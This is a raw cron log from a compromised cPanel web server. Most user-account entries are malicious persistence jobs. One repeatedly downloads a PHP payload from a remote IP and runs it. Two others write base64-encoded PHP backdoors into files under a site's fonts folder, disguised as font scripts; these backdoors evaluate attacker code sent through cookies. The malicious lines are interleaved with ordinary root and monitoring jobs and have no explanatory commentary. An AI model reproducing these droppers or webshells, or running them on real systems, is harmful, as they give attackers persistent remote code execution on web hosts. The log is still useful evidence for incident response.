Sep  6 02:54:01 ip-184-168-122-23 CROND[959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:54:01 ip-184-168-122-23 CROND[961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:54:01 ip-184-168-122-23 CROND[960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:54:01 ip-184-168-122-23 CROND[957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:55:01 ip-184-168-122-23 CROND[1086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:55:01 ip-184-168-122-23 CROND[1089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:55:01 ip-184-168-122-23 CROND[1094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:55:01 ip-184-168-122-23 CROND[1091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:55:01 ip-184-168-122-23 CROND[1092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:55:01 ip-184-168-122-23 CROND[1095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:56:01 ip-184-168-122-23 CROND[1186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:56:01 ip-184-168-122-23 CROND[1187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:56:01 ip-184-168-122-23 CROND[1190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:56:01 ip-184-168-122-23 CROND[1189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:56:01 ip-184-168-122-23 CROND[1188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:57:02 ip-184-168-122-23 CROND[1379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:57:02 ip-184-168-122-23 CROND[1382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:57:02 ip-184-168-122-23 CROND[1383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:57:02 ip-184-168-122-23 CROND[1384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:58:01 ip-184-168-122-23 CROND[1522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:58:01 ip-184-168-122-23 CROND[1524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:58:01 ip-184-168-122-23 CROND[1523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:58:01 ip-184-168-122-23 CROND[1526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:58:01 ip-184-168-122-23 CROND[1525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:59:01 ip-184-168-122-23 CROND[1613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:59:01 ip-184-168-122-23 CROND[1614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:59:01 ip-184-168-122-23 CROND[1615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:59:01 ip-184-168-122-23 CROND[1616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:00:01 ip-184-168-122-23 CROND[1704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:00:01 ip-184-168-122-23 CROND[1706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:00:01 ip-184-168-122-23 CROND[1709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:00:01 ip-184-168-122-23 CROND[1712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:00:01 ip-184-168-122-23 CROND[1710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:00:01 ip-184-168-122-23 CROND[1711]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:00:01 ip-184-168-122-23 CROND[1713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:00:01 ip-184-168-122-23 CROND[1714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:01:01 ip-184-168-122-23 CROND[1819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:01:01 ip-184-168-122-23 CROND[1820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:01:01 ip-184-168-122-23 CROND[1818]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 03:01:01 ip-184-168-122-23 CROND[1822]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:01:01 ip-184-168-122-23 CROND[1821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:01:01 ip-184-168-122-23 CROND[1823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1818]: starting 0anacron
Sep  6 03:01:01 ip-184-168-122-23 anacron[1840]: Anacron started on 2026-09-06
Sep  6 03:01:01 ip-184-168-122-23 anacron[1840]: Will run job `cron.daily' in 47 min.
Sep  6 03:01:01 ip-184-168-122-23 anacron[1840]: Jobs will be executed sequentially
Sep  6 03:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1842]: finished 0anacron
Sep  6 03:02:01 ip-184-168-122-23 CROND[2014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:02:01 ip-184-168-122-23 CROND[2017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:02:01 ip-184-168-122-23 CROND[2018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:02:01 ip-184-168-122-23 CROND[2015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:02:01 ip-184-168-122-23 CROND[2016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:03:01 ip-184-168-122-23 CROND[2115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:03:01 ip-184-168-122-23 CROND[2114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:03:01 ip-184-168-122-23 CROND[2116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:03:02 ip-184-168-122-23 CROND[2118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:04:01 ip-184-168-122-23 CROND[2214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:04:01 ip-184-168-122-23 CROND[2217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:04:01 ip-184-168-122-23 CROND[2216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:04:01 ip-184-168-122-23 CROND[2218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:04:01 ip-184-168-122-23 CROND[2219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:05:01 ip-184-168-122-23 CROND[2311]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:05:01 ip-184-168-122-23 CROND[2313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:05:01 ip-184-168-122-23 CROND[2315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:05:01 ip-184-168-122-23 CROND[2316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:05:01 ip-184-168-122-23 CROND[2318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:05:01 ip-184-168-122-23 CROND[2319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:05:01 ip-184-168-122-23 CROND[2317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:06:01 ip-184-168-122-23 CROND[2410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
